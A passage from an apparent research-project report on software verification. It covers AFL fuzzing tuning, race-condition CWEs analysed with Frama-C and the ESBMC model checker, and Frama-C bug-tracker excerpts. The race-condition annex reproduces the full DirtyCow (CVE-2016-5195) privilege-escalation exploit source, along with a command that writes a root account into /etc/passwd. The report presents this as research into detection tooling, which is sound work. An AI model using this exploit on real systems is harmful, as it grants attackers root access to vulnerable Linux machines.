or send to the same each target process a maximum of three times. 

The delay_before_write parameter, in particular, and to a lesser extent the timeout_delay parameter limit the 
maximum achievable rate of target program executions and therefore need to be small. A rule of thumb is 
the timeout_delay value should be slightly longer than three times the delay_before_write value, and the 
delay_before_write value should be as small as possible while consistent with an acceptable fraction of 
target process executions that time out (for example, around 0.1%). 

For programs that are genuinely slow, in cases where you really can't escape using huge input files, or when 
you simply want to get quick and dirty results early on, you can always resort to the -d mode. The mode 
causes afl-fuzz to skip all the deterministic fuzzing steps, which makes output a lot less neat and makes the 
testing a bit less in-depth, but it will give you an experience more familiar from other fuzzing tools. 

 

As mentioned in https://www.twosixlabs.com/fuzzing-nginx-with-american-fuzzy-lop-not-the-bunny/, it may be 
necessary to modify the code so that either the server or the client will run only the code required, no 
more (to avoid spending too much time during the AFL fuzzing loops), not less (to avoid bypassing potential 
flaws in the code that could not have been pruned, and thus limiting the test coverage).  

In socket networking applications, a good place to start looking for places to modify code is around infinite 
loops and calls to select() or accept(). 

Minimizing the execution time is a real source of effort. Depending on the kind of application, around 50 
exec/s - thus per fuzz run - is not convenient at all, as one can expect to perform billions of fuzzing 
executions before finding interesting crash scenarios. Of course, this depends on the application under 
study, and thus could not be elaborated here. However, it is worth mentioning that DA in WP5/T5.5 is 
spending a large effort trying and optimizing this execution time for several components of its Use Case. Let 
us mention that exploring the persistent mode of servers and/or AFL may help reach this goal (see 
https://www.fastly.com/blog/how-fuzz-server-american-fuzzy-lop/), but once again this point won't be 
elaborated anymore in this document for the sake of clarity, as it strongly depends on the fuzzed application. 

 

Other considerations about persistency and socket programs are explored in WP5/T5.5, and 
exposed all along the Chapter 4 in this report. 
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Annex 4 – Complementary analyses: Frama-C and 
Model-Checking on C source code 

 

In the meantime we faced several issues in Frama-C, we intended to perform some 
explorations aiming at interfacing the platform from CEA with a model-checker to be able to 
address some specific CWE. 

In the attempt to enlarge the perimeter of CWE addressed by the set of tools (plug-ins) based on 
the Frama-C platform, we will focus in particular on race condition family of weaknesses. 

The intent is two-fold. First, addressing this kind of flaw is obviously of high interest in itself: lots of 
vulnerabilities and exploits are based on race conditions. Secondly, dealing with this weakness 
requires modelling somehow concurrency and a few attacker behaviour features, as it will be 
presented later in this annex. 

Race condition is described in the Mitre (cwe.mitre.org) database in different flavours. In the 
following, we present some of them, among the most representative ones. For the sake of clarity, 
some extracts from Mitre are provided below with related explanations and example code. 

Detecting race conditions can be done sometimes by using static analysis: parsing software to 
identify race condition (e.g. by patterns), with some basic tools to help: Warlock, ITS4, RacerX for 
control-flow sensitive interprocedural analysis, Flawfinder and RATS41. Of course, more effort is 
expected when using annotation-based static analysis tools and theorem proving technologies. 

Race condition detection is an NP complete problem, hence one has to cope with only 
approximate detection, noting that C/C++ source code are usually considered as more difficult to 
analyse for this purpose. 

 

Reviewing code, based on known bad and correct patterns 

Of course, the review of code for finding race conditions is not an easy task. The expert should be 
able to “guess” good patterns among generally less user-friendly code. 

The CERN Computer Security department published a small code expected to be race-condition-
proof that we slightly modified in the scope of our Use Case in VESSEDIA, for experimental 
purpose, which writes only once on a fresh log file: 

 
#include <unistd.h> 

#include <stdio.h> 

#include <fcntl.h> 

#include <stdlib.h> 

 

enum { FILE_MODE = 0600 }; 

  

int WriteOnceOnLogFile(char * logfilename) 

{ 

    int fd; 

    FILE* f; 

 

    /* Remove possible symlinks */ 

    unlink(logfilename); 

                                                

41 These tools are quite well widespread: the reader will easily find the references on the Internet. 
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    /* Open, but fail if someone raced us and restored the symlink (secure version of 

fopen(path, "w") */ 

    fd = open(logfilename, O_WRONLY|O_CREAT|O_EXCL, FILE_MODE); 

    if (fd == -1) { 

        fprintf(stderr,"open %s failed", logfilename); 

        return EXIT_FAILURE; 

    } 

     

    f = fdopen(fd, "w"); // fdopen is based on file descriptor, and not filename 

    if (f == NULL) { 

        fprintf(stderr,"fdopen failed"); 

        return EXIT_FAILURE; 

    } 

    fprintf(f, logfilename); 

    fclose(f); // fd automatically closed 

    return EXIT_SUCCESS; 

} 

This short toy-function is analyzed with Frama-C: 

 
 

frama-c-gui –eva –eva-context-valid-pointers –wp toctou_check.c  

 

and yields all proof obligations generated by the plug-in EVA duly validated, but with no assurance 
(except the due manual review) that no race condition is potentially exploitable: 
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Figure 25: Frama-C Analyzation 

However, a complementary plug-in in Frama-C, named Mthread42, is intended to identify, at each 
program point, the list of mutexes that can be locked by the current thread. This information is used 
to identify shared memory zones on which race conditions may occur. This plug-in was not 
assessed during the project, but could be explored later for further investigations. 

Indeed, the concern with Race Condition is at first the polymorphism of its mechanism. To illustrate 
this point, these are some related CWE (extracted from Mitre). 

 

CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization 
('Race Condition') 

The program contains a code sequence that can run concurrently with other code, and the code 
sequence requires temporary, exclusive access to a shared resource, but a timing window exists in 

                                                

42 http://frama-c.com/mthread.html  

http://frama-c.com/mthread.html
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which the shared resource can be modified by another code sequence that is operating 
concurrently. 

Example code: 

The following function attempts to acquire a lock in order to perform operations on a shared 
resource. 

 
void f(pthread_mutex_t *mutex) { 

pthread_mutex_lock(mutex); 

/* access shared resource */ 

pthread_mutex_unlock(mutex); 

} 

However, the code does not check the value returned by pthread_mutex_lock() for errors. If 

pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race 
condition into the program and might result in an undefined behaviour. 

In order to avoid data races, correctly written programs must check the result of thread 
synchronization functions and appropriately handle all errors, either by attempting to recover from 
them or reporting it to higher levels of control. 

For the previous toy example, the fixed code would be: 

 
int f(pthread_mutex_t *mutex) { 

int result; 

result = pthread_mutex_lock(mutex); 

if (0 != result) 

return result; 

/* access shared resource */ 

return pthread_mutex_unlock(mutex); 

} 

 

CWE-363: Race Condition Enabling Link Following 

The software checks the status of a file or directory before accessing it, which produces a race 
condition in which the file can be replaced with a link before the access is performed, causing the 
software to access the wrong file. 

While developers might expect that there is a very narrow time window between the time of check 
and time of use (TOCTOU), there is still a potential race condition. An attacker could even cause 
the software to slow down, causing the time window to become larger. Alternately, in some 
situations, the attacker could win the race by performing a large number of attacks. 

A code, for instance, could attempt to resolve symbolic links before checking the file and printing its 
contents. However, an attacker may be able to change the file from a real file to a symbolic link 
between the calls to the test of the link and getting the contents of the file, thus allowing the 
reading of arbitrary files.  

 

CWE-364: Signal Handler Race Condition 

The software uses a signal handler that introduces a race condition. 
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This code registers the same signal handler function with two different signals. If those signals are 
sent to the process, the handler creates a log message (specified in the first argument to the 
program) and exits. 

 
char *logMessage; 

 

void handler (int sigNum) { 

syslog(LOG_NOTICE, "%s\n", logMessage); 

free(logMessage); 

/* sleep a bit to make the demo easier. */ 

sleep(10); 

exit(0); 

} 

 

int main (int argc, char* argv[]) { 

logMessage = strdup(argv[1]); 

/* Register signal handlers. */ 

signal(SIGHUP, handler); 

signal(SIGTERM, handler); 

/* sleep a bit to make the demo easier. */ 

sleep(10); 

} 

The handler function can be called by both the SIGHUP and SIGTERM signals. An attack scenario 
might then follow these lines: 

1. the program begins execution, initializes logMessage, and registers the signal handlers for 
SIGHUP and SIGTERM; 

2. the program starts its "normal" functionality, which is simplified here as a call to sleep(), 
but could be any functionality that consumes some time; 

3. the attacker sends SIGHUP signal, which invokes the corresponding handler (call this 
"SIGHUP-handler"); 

4. SIGHUP-handler begins to execute, calling syslog(); 

5. syslog() calls malloc(), which is non-re-entrant. malloc() begins to modify metadata to 
manage the heap; 

6. the attacker then sends SIGTERM signal; 

7. SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not 
finished modifying its metadata; 

8. the SIGTERM handler is invoked. 

9. SIGTERM-handler records the log message using syslog(), then frees the logMessage 
variable. 

At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for 

the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is 
assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location 
while managing the heap. The result is memory corruption, which could lead to a crash or even 
code execution, depending on the circumstances under which the code is running. 
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CWE-365: Race Condition in Switch 

The code contains a switch statement in which the switched variable can be modified while the 
switch is still executing, resulting in unexpected behaviour.  

 

CWE-366: Race Condition within a Thread 

If two threads of execution use a resource simultaneously, there exists the possibility that 
resources may be used while invalid, in turn making the state of execution undefined.  

 

CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition 

The software checks the state of a resource before using that resource, but the resource's state 
can change between the check and the use in a way that invalidates the results of the check. This 
can cause the software to perform invalid actions when the resource is in an unexpected state. 

This weakness can be security-relevant when an attacker can influence the state of the resource 
between check and use. This can happen with shared resources such as files, memory, or even 
variables in multithreaded programs. 

Example code: 

The following code checks a file, then updates its contents. 

 
struct stat *sb; 

... 

lstat("...",sb); // it has not been updated since the last time it was read 

printf("stated file\n"); 

if (sb->st_mtimespec==...){ 

print("Now updating things\n"); 

updateThings(); 

} 

Potentially the file could have been updated between the time of the check and the lstat() 

(function returning information about a given file), especially since the printf function has latency. 

The following code below is another example, from a program installed with setuid root (i.e. root 
privileges). The program performs certain file operations on behalf of non-privileged users, and 
uses access checks to ensure that it does not use its root privileges to perform operations that 
should otherwise be unavailable to the current user. The program uses the access() system call to 
check if the person running the program has permission to access the specified file before it opens 
the file and performs the necessary operations. 

 
if(!access(file,W_OK)) { 

f = fopen(file,"w+"); 

operate(f); 

... 

} 

else { 

 

fprintf(stderr,"Unable to open file %s.\n",file); 

} 
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The call to access() behaves as expected, and returns 0 if the user running the program has the 

necessary permissions to write to the file, and -1 otherwise. However, because both access() and 

fopen() operate on filenames rather than on file handlers, there is no guarantee that the file 

variable still refers to the same file on disk when it is passed to fopen() that it did when it was 

passed to access(). If an attacker replaces file after the call to access() with a symbolic link to a 
different file, the program will use its root privileges to operate on the file even if it is a file that the 
attacker would otherwise be unable to modify. By tricking the program into performing an operation 
that would otherwise be impermissible, the attacker has gained elevated privileges. This type of 
vulnerability is not limited to programs with root privileges. If the application is capable of 
performing any operation that the attacker would not otherwise be allowed to perform, then it is a 
possible target. 

 

CWE-368: Context Switching Race Condition 

A product performs a series of non-atomic actions to switch between contexts that cross privilege 
or other security boundaries, but a race condition allows an attacker to modify or misrepresent the 
product's behaviour during the switch. 

This is commonly seen in web browser vulnerabilities in which the attacker can perform certain 
actions while the browser is transitioning from a trusted to an untrusted domain, or vice versa, and 
the browser performs the actions on one domain using the trust level and resources of the other 
domain. 

 

CWE-689: Permission Race Condition During Resource Copy 

The code, while copying or cloning a resource, does not set the resource's permissions or access 
control until the copy is complete, leaving the resource exposed to other spheres while the copy is 
taking place.  

 

Looking for tools to help Race Condition detection 

In the Wikipedia page dedicated to static analysis: 

https://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis 

a few tools are expressly identified as addressing race conditions in C source code. Indeed, 
dealing with race condition flaws requires some means which are quite specific: concurrency must 
be duly modelled, with some hypotheses on the attacker side means. Most often, tools which are 
only based on heuristics may be fooled easily by slight changes in the code. 

Another Wikipedia page gives some answer to tackle concurrency:  

https://en.wikipedia.org/wiki/List_of_model_checking_tools.  

We already assessed and/or slightly explored Blast and CPAchecker (or SATABS, 
http://www.cprover.org/satabs) tools and their ability to compute predicate abstractions to try to 
scale up to large source code, in particular by means of the useful predicate interpolation 
mechanism (aiming at refining predicates when needed by a specific property management). Blast 
and CPAchecker make use of model-checking, but for single-threaded programs. This does not 
mean that multi-threading could not be modelled with these tools, but this is not their first intent. 

https://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis
https://en.wikipedia.org/wiki/List_of_model_checking_tools
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Other tools permit however to model and check specifically multi-threaded programs (then with 
shared memory locations and resources): namely ESBMC on top of CBMC, which are briefly 
presented in the following. 

 

CBMC  

(developed by the SV group, incl. ETHZ, Oxford univ., etc.; http://www.cprover.org/cbmc) 

CBMC is a Bounded Model Checker for C and C++ programs. It supports C89, C99, most of C11 
and most compiler extensions provided by gcc and Visual Studio. It also supports SystemC using 
Scoot.  

CBMC verifies array bounds (buffer overflows), pointer safety, exceptions and user-specified 
assertions. The verification is performed by unwinding the loops in the program and passing the 
resulting equation to a decision procedure. 

While CBMC is aimed for embedded software, it also supports dynamic memory allocation using 
malloc and new function calls.  

CBMC comes with a built-in solver for bit-vector formulas which is based on MiniSat (a SAT solver 
whose goal, briefly presented, consists in finding some formula’s variables valuation able to satisfy 
the given formula). As an alternative, CBMC has featured support for external SMT solvers since 
version 3.3. The recommended solvers are (in no particular order) Boolector, MathSAT, Yices 2 
and Z3.  

CBMC is used as a model-checker utility for higher level verification tools like ESBMC presented in 
the following. 

 

ESBMC  

(developped by Daniel Kroening / ETH Zurich, Edmund Clarke / Computer Science Department / 
Carnegie Mellon University,  University of Southampton, University of Stellenbosch, and Federal 
University of Amazonas; http://esbmc.org) 

ESBMC is a context-bounded model checker for embedded C/C++ software based on Satisfiability 
Modulo Theories (SMT) solver. It allows the verification engineer (i) to verify single- and multi-
threaded software (with shared variables and locks); (ii) to reason about arithmetic under- and 
overflow, pointer safety, memory leaks, array bounds, atomicity and order violations, deadlock and 
data race; (iii) to verify programs that make use of bit-level, pointers, structs, unions and fixed-point 
arithmetic. 

ESBMC is based on CBMC briefly presented above. 

ESBMC does not require the user to annotate the program with pre/post-conditions, but allows to 
state additional properties using asserts, that are then checked as additional statements. It also 
provides several approaches (lazy, schedule recording, underapproximation and widening) to 
model check multi-threaded software. ESBMC converts the verification conditions using different 
background theories and passes them directly to an SMT solver. ESBMC is built on top of the 
CProver framework. 

ESBMC uses the SMT solvers Z3 (by default), Boolector, and more recently CVC4. 
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Then some activities were performed in order to assess ESBMC and identify its advantages with 
regards to Frama-C solutions. 

Thus, we applied ESBMC on two representative sample codes handling threads. 

The first example (see below) deals with a simple call of parallel threads (see also above CWE-
362, CWE-366, CWE-367): 

 
#include <pthread.h> 

#define N 100 

 

int a[N]; 

unsigned int i, j, nondet_int(); 

 

void *t1(void *arg) 

{ 

  i = nondet_int()%N; 

  a[i] = *((int *)arg); 

} 

 

void *t2(void *arg) 

{ 

  j = nondet_int()%N; 

  a[j]=*((int *)arg); 

} 

 

int main() 

{ 

  pthread_t id1, id2; 

   

  int arg1=10, arg2=20; 

 

  pthread_create(&id1, NULL, t1, &arg1); 

  pthread_create(&id2, NULL, t2, &arg2); 

 

  // the assert below should fail: 

  assert(a[i]==10 && a[j]==20); 

 

  return 0; 

} 

Once analyzed by ESBMC with this command line: 
 
./esbmc-v3.0.0-linux-static-64/bin/esbmc --z3 --no-bounds-check --no-div-by-zero-check --

no-pointer-check -D__x86_64__ -I /usr/include/x86_64-linux-gnu/ esbmc-cpp-linux-64-

static/smoke-tests/pthread1.c 

the result is as follows: 
 
ESBMC version 3.0.0 64-bit x86_64 linux 

file esbmc-cpp-linux-64-static/smoke-tests/pthread1.c: Parsing 

Converting 

Type-checking pthread1 

Generating GOTO Program 

GOTO program creation time: 0.450s 

GOTO program processing time: 0.011s 

Starting Bounded Model Checking 

Symex completed in: 0.013s 

size of program expression: 79 assignments 

Slicing time: 0.001s 

Generated 1 VCC(s), 1 remaining after simplification 

Encoding remaining VCC(s) using bit-vector arithmetic 

Encoding to solver time: 0.000s 

Solving with solver Z3 v4.4 
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Runtime decision procedure: 0.000s 

Building error trace 

 

Counterexample: 

 

State 3 file esbmc-cpp-linux-64-static/smoke-tests/pthread1.c line 31 function main 

thread 0 

<main invocation> 

---------------------------------------------------- 

Violated property: 

  file esbmc-cpp-linux-64-static/smoke-tests/pthread1.c line 31 function main 

  assertion 

  a[i] == 10 && a[j] == 20 

 

VERIFICATION FAILED 

The property expressed in the assert statement in the code is considered as failing. This property 
stipulates that each thread correctly updates their own cell in the array. Indeed, due to the absence 
of join, there is no guarantee that these updates are done in time. ESBMC found a related counter-
example which invalidates the sought property. In the current version of Frama-C, this kind of 
property - which can be considered as a race condition on the array resource from two concurrent 
threads - might not be processed properly. 

Of course, this sample code is simple and obvious. In fact, other examples illustrate the power of 
model-checking in complement to other static methods and tools. As other illustrations, ESBMC 

can deal with known vulnerabilities in SSL/ssl3_connect function, Bluetooth driver (extract from the 
paper: Shaz Qadeer, Dinghao Wu: KISS: keep it simple and sequential. PLDI 2004: 14-24), and 
the famous Bank Account example extracted from http://stormchecker.codeplex.com. 

 

From Frama-C to ESBMC 

In practice, for some particular pieces of code related to our Use Case, we applied ESBMC as a 
backend decision procedure for a few annotations (added by hand) related to potential race 
conditions. The translation from Frama-C annotation to ESBMC statement is quite straightforward 
at this stage of our experimentations. It simply consists, for the pieces of source code under 
analysis, in rewriting “//@ assert my_predicate;” as “assert (my_predicate);”, when applicable 
(i.e. for ACSL annotations simple enough). 

However, in some cases, in particular when attempting to scale up to larger applications (n x 
10Kloc), ESBMC does not succeed in checking the sought properties in a reasonable amount of 
time, and in some cases the counter-examples are not readable for human (they would require 
some expertise and complementary analyses beyond the scope of the current project).  

But ESBMC remains applicable for shorter example codes, and may invite users to “simplify” their 
code (for instance by means of Frama-C Slicer) to alleviate the complexity and the size of code 
before model-checking it. There is also room for applying ESBMC with stubbing functions (e.g. 
replacing functions by there - executable - specifications, or “black-box” approaches). 

 

A (much) more sophisticated example of Race Condition 

A vulnerability appeared however as more challenging. The CVE-2016-5195 is named DirtyCow, 
and it relates indeed to a 15-year old flaw in Linux which was badly fixed and has then remained 
for years. It permits a Linux root privilege escalation exploit. Many exploit proof-of-concepts based 
on this CVE are available allowing any non-privileged user to become root, or executing any kernel 

http://stormchecker.codeplex.com/
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function with root rights, in a long list of vulnerable linux versions (for recent releases, this flaw is of 
course fixed). 

 

Figure 26: Linux privilege escalation  

In very brief words (which is almost challenging as this vulnerability is considered as a complex 
one), DirtyCow is based on a race condition from two concurrent threads when doing “copy-on-
write” operations (i.e. when a file is modified, it is copied in memory before applying these changes 
to the real physical file):  

- (1) one thread does a madvise call to get rid of the private copy of a file (descriptor) which is 
currently modified in memory (mmap file), 

- (2) the other thread (a procselfmem thread) writes on this same file descriptor with root 
privileges. 

For some reasons not detailed here for the sake of clarity, (2) is not performed on the copy in 
memory of the file, but on the real physical file. 

This allows performing actions with root rights. Compiling, linking and executing DirtyCow exploit 
(several exploits can be found at https://github.com/dirtycow/dirtycow.github.io/) permits, for 
instance, to add a line in the /etc/passwd file: 

 
./dirtyc0w /etc/passwd “hacker::0:0:root:/root:/bin/bash” 

which instantaneously creates a user named hacker with root privileges, on vulnerable Linux 
releases. 

However, this source code flaw is complex enough, as a matter of fact, to make static analysis 
almost impossible (at least to non-expert, or in a reasonable amount of analysis time and effort). 
Indeed, identifying any race condition and locating the resources involved needs a deep 
understanding of file memory-mapping mechanisms in Linux kernel. Neither ESBMC nor Frama-C 
are able to apparently help in this case. 

For any purpose it may serve, the following exploit code (extracted from 
https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c) denotes the Linux code flaws 
on which it relies: 

 
 

/* 

####################### dirtyc0w.c ####################### 

$ sudo -s 

# echo this is not a test > foo 

# chmod 0404 foo 

$ ls -lah foo 
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-r-----r-- 1 root root 19 Oct 20 15:23 foo 

$ cat foo 

this is not a test 

$ gcc -pthread dirtyc0w.c -o dirtyc0w 

$ ./dirtyc0w foo m00000000000000000 

mmap 56123000 

madvise 0 

procselfmem 1800000000 

$ cat foo 

m00000000000000000 

####################### dirtyc0w.c ####################### 

*/ 

#include <stdio.h> 

#include <sys/mman.h> 

#include <fcntl.h> 

#include <pthread.h> 

#include <unistd.h> 

#include <sys/stat.h> 

#include <string.h> 

#include <stdint.h> 

  

void *map; 

int f; 

struct stat st; 

char *name; 

  

void *madviseThread(void *arg) 

{ 

char *str; 

 str=(char*)arg; 

int i,c=0; 

for(i=0;i<100000000;i++) 

 { 

/* 

You have to race madvise(MADV_DONTNEED) :: 

https://access.redhat.com/security/vulnerabilities/2706661 

> This is achieved by racing the madvise(MADV_DONTNEED) system call 

> while having the page of the executable mmapped in memory. 

*/ 

 c+=madvise(map,100,MADV_DONTNEED); 

 } 

printf("madvise %d\n\n",c); 

} 

  

void *procselfmemThread(void *arg) 

{ 

char *str; 

 str=(char*)arg; 

/* 

You have to write to /proc/self/mem :: 

https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16 

> The in the wild exploit we are aware of doesn't work on Red Hat 

> Enterprise Linux 5 and 6 out of the box because on one side of 

> the race it writes to /proc/self/mem, but /proc/self/mem is not 

> writable on Red Hat Enterprise Linux 5 and 6. 

*/ 

int f=open("/proc/self/mem",O_RDWR); 

int i,c=0; 

for(i=0;i<100000000;i++) { 

/* 

You have to reset the file pointer to the memory position. 

*/ 

lseek(f,(uintptr_t) map,SEEK_SET); 

 c+=write(f,str,strlen(str)); 

 } 

printf("procselfmem %d\n\n", c); 

} 
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int main(int argc,char *argv[]) 

{ 

/* 

You have to pass two arguments. File and Contents. 

*/ 

if (argc<3) { 

 (void)fprintf(stderr, "%s\n", 

"usage: dirtyc0w target_file new_content"); 

return 1; } 

pthread_t pth1,pth2; 

/* 

You have to open the file in read only mode. 

*/ 

 f=open(argv[1],O_RDONLY); 

fstat(f,&st); 

 name=argv[1]; 

/* 

You have to use MAP_PRIVATE for copy-on-write mapping. 

> Create a private copy-on-write mapping. Updates to the 

> mapping are not visible to other processes mapping the same 

> file, and are not carried through to the underlying file. It 

> is unspecified whether changes made to the file after the 

> mmap() call are visible in the mapped region. 

*/ 

/* 

You have to open with PROT_READ. 

*/ 

 map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); 

printf("mmap %zx\n\n",(uintptr_t) map); 

/* 

You have to do it on two threads. 

*/ 

pthread_create(&pth1,NULL,madviseThread,argv[1]); 

pthread_create(&pth2,NULL,procselfmemThread,argv[2]); 

/* 

You have to wait for the threads to finish. 

*/ 

pthread_join(pth1,NULL); 

pthread_join(pth2,NULL); 

return 0; 

} 

This code is exposed here to academic colleagues and partners in order to “spark” improvements 
of existing static analysis tools and methods, and possibly future tooled means, for race condition 
detection specifically. 
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Annex 5 – Bug Report Archives Extract 
This section lists the bugs reported by DA in the CEA’s Frama-C Bug Tracking System. As these 
bugs are marked as private, they cannot be read by the public. We only give in the following the 
main elements for the record, and for traceability with regard to the write-ups presented earlier in 
this current report. 

 

 

2017-07-19 

 

0002318: -cxx-clang-command  

 

Description Using the following command line: frama-c foo.ii -cxx-clang-

command="clang++" whatever the file foo.ii contains, yields the kernel user error: "--

stop-annot-error" 

... 

 

 

2017-07-19 

 

0002319: [VESSEDIA] constexpr error with clang++ (but not with g++), and other errors 

 

Description Please find enclosed a preprocessed and very simplified c++ file (extract 

from a case study). 

 

Analyzed with: 

 frama-c CLI2.ii -cxx-nostdinc 

it yields a series of errors. 

 

(the command line - in the real world - is a bit more complicated with more cxx options 

required, but never mind ... the errors are the same) 

 

These errors are not reported when compiled with g++ on the complete case study. 

Is there something to do with Frama-Clang, or is it a Clang issue only? 

... 

 

 

2017-07-19 

 

0002320: ClangVisitor assertion failed: (_state & 0x3) == SSynchronized 

 

Description (follows BTS#0002318 and 0002318, after some tests hard "slicing" and 

tuning ...) 

 

Attempting the following: 

 

frama-c CLI.ii -fclang-cpp-extra-args="-I. -I./include -std=c++0x -pthread -DOS_LINUX -

DLEVELDB_PLATFORM_POSIX -DLEVELDB_ATOMIC_PRESENT -g -DBOOST_SPIRIT_THREADSAFE -

DHAVE_BUILD_INFO -D__STDC_FORMAT_MACROS -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=2 -c" -cxx-

nostdinc &> LOG_CLI 

 

 

to the file CLI.ii (enclosed in file CLI.7z), 

the following error is generated: 

 

... 

framaCIRGen: ClangVisitor.cpp:8015: virtual bool 

FramacVisitor::VisitRecordDecl(clang::RecordDecl*): Assertion `(_state & 0x3) == 

SSynchronized' failed. 

Aborted (core dumped) 

[kernel] user error: Failed to parse C++ file. See Clang messages for more information 
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Meaning that during the visit of the contents of template records, something went wrong 

... but what exactely? 

... 

2017-11-29 

0002333: Assertion _instanceContexts.isEmpty 

Description With the following code: 

 

namespace { 

template <class> class A { template <class> friend class A; }; 

A<void volatile> a; 

} 

namespace { 

class B { 

public: 

  typedef A<void> implementation_type; 

}; 

void fn1(B::implementation_type) {} 

} 

 

frama-c foo.ii yields: 

 

[kernel] Parsing FRAMAC_SHARE/libc/__fc_builtin_for_normalization.i (no preprocessing) 

[kernel] Parsing foo.ii (external front-end) 

framaCIRGen: ClangVisitor.cpp:8316: virtual bool 

FramacVisitor::VisitRecordDecl(clang::RecordDecl*): Assertion 

`_instanceContexts.isEmpty()' failed. 

Aborted (core dumped) 

... 

 

 

2017-11-29 

 

0002333: Assertion _instanceContexts.isEmpty 

 

Description With the following code: 

 

namespace { 

template <class> class A { template <class> friend class A; }; 

A<void volatile> a; 

} 

namespace { 

class B { 

public: 

  typedef A<void> implementation_type; 

}; 

void fn1(B::implementation_type) {} 

} 

 

frama-c foo.ii yields: 

 

[kernel] Parsing FRAMAC_SHARE/libc/__fc_builtin_for_normalization.i (no preprocessing) 

[kernel] Parsing foo.ii (external front-end) 

framaCIRGen: ClangVisitor.cpp:8316: virtual bool 

FramacVisitor::VisitRecordDecl(clang::RecordDecl*): Assertion 

`_instanceContexts.isEmpty()' failed. 

Aborted (core dumped) 

... 

 

 

2018-01-02 

 

0002339: __fc_define_iovec.h not found, and redefinition of type 'socklen_t' 

 

Description (Context: H2020/VESSEDIA) 

BTS open for traceability of mail exchanges: 
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> The following code yields some issues when attempting to compile and  

> link it with e-acsl-gcc.sh: 

> 

> #include <sys/types.h> 

> #include <sys/socket.h> 

> #include <netdb.h> 

> #include <string.h> 

> #include <stdlib.h> 

> #include <stdio.h> 

> #include <unistd.h> 

> 

> #define DIM 10 

> 

> int main() 

> { 

> char str[DIM]; 

> int listen_fd, comm_fd; 

> struct sockaddr_in servaddr; 

> 

> listen_fd = socket(AF_INET, SOCK_STREAM, 0); 

> bzero( &servaddr, sizeof(servaddr)); 

> exit(0); 

> } 

> 

> with code generated by: 

> frama-c serverbug.c -variadic-no-translation -quiet -rte -rte-precond  

> -then -val -then -print -ocode serverbug.val.c 

> 

> Note: EVA results are needed, with all applicable requires (and maybe 

> ensures) clauses collected from frama-c lib function contracts (these  

> clauses are inserted into the code thanks to -rte-precond). 

> 

> analyzed with: 

> e-acsl-gcc.sh serverbug.val.c -M -E "-D__builtin_bswap32=BSWAP32  

> -D__builtin_bswap64=BSWAP64" -l "-fno-stack-protector" -c  

> -OSERVERBUG.CURSOR -Ggcc it yields the following error: 

> serverbug.val.c:2:31: fatal error: __fc_define_iovec.h: Aucun fichier  

> ou dossier de ce type 

> 

> and the same generated code analyzed with: 

> e-acsl-gcc.sh serverbug.val.c -M -E "-D__builtin_bswap32=BSWAP32 

> -D__builtin_bswap64=BSWAP64 -I/usr/local/share/frama-c/libc" -l  

> "-fno-stack-protector" -c -OSERVERBUG.CURSOR -Ggcc it yields the  

> following new error: 

> serverbug.val.c:20:[kernel] user error: redefinition of type  

> 'socklen_t' in the same scope is only allowed in C11 (option -c11)  

> .../... msghdr .../... 

> 

> using: e-acsl-gcc.sh -F"-c11" ... will fix the socklen_t issue above,  

> but not the msghdr redefinition, etc. 

> 

> What are the command lines to generate the annotated code, and then  

> the e-acsl code, and finally compile&link it correctly? 

> 

> 

> UPDATE: with Frama-C Sulfur and e-acsl v0.8, things get worse: 

> ... 

> Unexpected error 

> (Misc.Unregistered_library_function("__e_acsl_full_init")) 

> ... 

> 

... 

 

 

2018-10-22 

 

0002405: (VESSEDIA) prlimit issue 
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Description   

We are working on a source code "a.c", 

and we generate "a" and "a.eacsl" executable thanks to e-acsl-gcc.sh 

 

When launching the instrumented runtime "a.eacsl", one error is raised: 

killed by SIGSEGV (core dumped) 

 

using strace: 

[...] 

set_robust_list(0x7fdb10c7fa20, 24) = 0 

rt_sigaction(SIGRTMIN, {sa_handler=0x7fdb0cc0ecb0, sa_mask=[], 

sa_flags=SA_RESTORER|SA_SIGINFO, sa_restorer=0x7fdb0cc1b890}, NULL, 8) = 0 

rt_sigaction(SIGRT_1, {sa_handler=0x7fdb0cc0ed50, sa_mask=[], 

sa_flags=SA_RESTORER|SA_RESTART|SA_SIGINFO, sa_restorer=0x7fdb0cc1b890}, NULL, 8) = 0 

rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0 

prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0 

--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x8} --- 

 

modifiying the stack by ulimit -s, from 8192 to 20000 and more does not solve the issue. 

 

What kind of investigations can we do to understand from where the issue comes? 

 

(N.B. Google says SIGSEGV comes from stack limit problem when prlimit is called in the 

strace ... but I'm not that sure ...) 

... 

 

 

2018-11-29 

 

0002410: (VESSEDIA) (e-acsl v18 beta) usage of -then option seems to lead to loosing of 

statuses 

 

Description It seems there is an issue when chaining rte then eva then e-acsl analyses. 

 

For example, on the following code: 

 

int main() 

{ 

int a = 0; 

//@ assert a==0; 

a = 3/a; 

} 

 

AFAIK, with -e-acsl-no-valid, we should not get a new executable stmt for the assert in 

the code above. 

 

However the following commands give a new stmt generated by E-ACSL: 

frama-c e2.c -rte -then -eva -then -e-acsl -e-acsl-no-valid -then-last -print 

frama-c e2.c -rte -eva -then -e-acsl -e-acsl-no-valid -then-last -print 

(Note1: this is the same by replacing the -then mechanism by several command lines making 

use of -save/-load project files: the statuses seem to be lost before calling e-acsl.) 

(Note2: this is the same by replacing eva with wp.) 

 

Excepting this one which generates no supplementary stmt, as expected: 

frama-c e2.c -rte -eva -e-acsl -e-acsl-no-valid -then-last -print 

 

But nothing ensures at long term, that rte analysis will be always processed first and 

before eva, and finally e-acsl. 

 

So the question: why using "-then" option tampers the behavior of e-acsl? 

2018-10-22 

0002406: (VESSEDIA) store_block on incomplete type 

Description  

